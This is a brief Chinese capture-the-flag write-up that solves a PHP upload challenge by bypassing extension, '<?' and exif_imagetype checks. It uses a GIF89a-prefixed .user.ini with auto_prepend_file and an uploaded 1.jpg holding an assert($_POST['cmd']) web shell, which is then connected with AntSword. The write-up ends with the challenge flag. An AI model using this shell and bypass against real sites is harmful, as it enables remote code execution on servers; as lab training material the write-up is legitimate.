上传文件,上传一个空的jpg文件,发现not image
不知道exif_imagetype是什么
搜索一下
https://baike.baidu.com/item/exif_imagetype/435093
(PHP 4 >= 4.3.0, PHP 5)
exif_imagetype -- 判断一个图像的类型
显而易见的需要GIF89a绕过
文件上传漏洞之user.ini留后门
<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("<? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
上面代码对后缀名php,文件内容<?,对GIF89a进行检测(exif_imagetype)
做一个.user.ini文件
GIF89a
auto_prepend_file=1.jpg
GIF89a
<script language='php'>assert($_POST['cmd']);</script>
然后先上传user.ini然后上传jpg文件
访问上传路径
思路就是index.php通过配置文件.user.ini让index.php对1.jpg进行文件包含,1.jpg里面的内容就以php代码执行,于是getshell
用蚁剑进行链接
进入根目录找到flag即可
这题目环境好像有问题一样,做着做着就自动刷新了上传的马,还好截图快
flag{66a3b2f2-492b-4b38-8d42-08728d809bc8}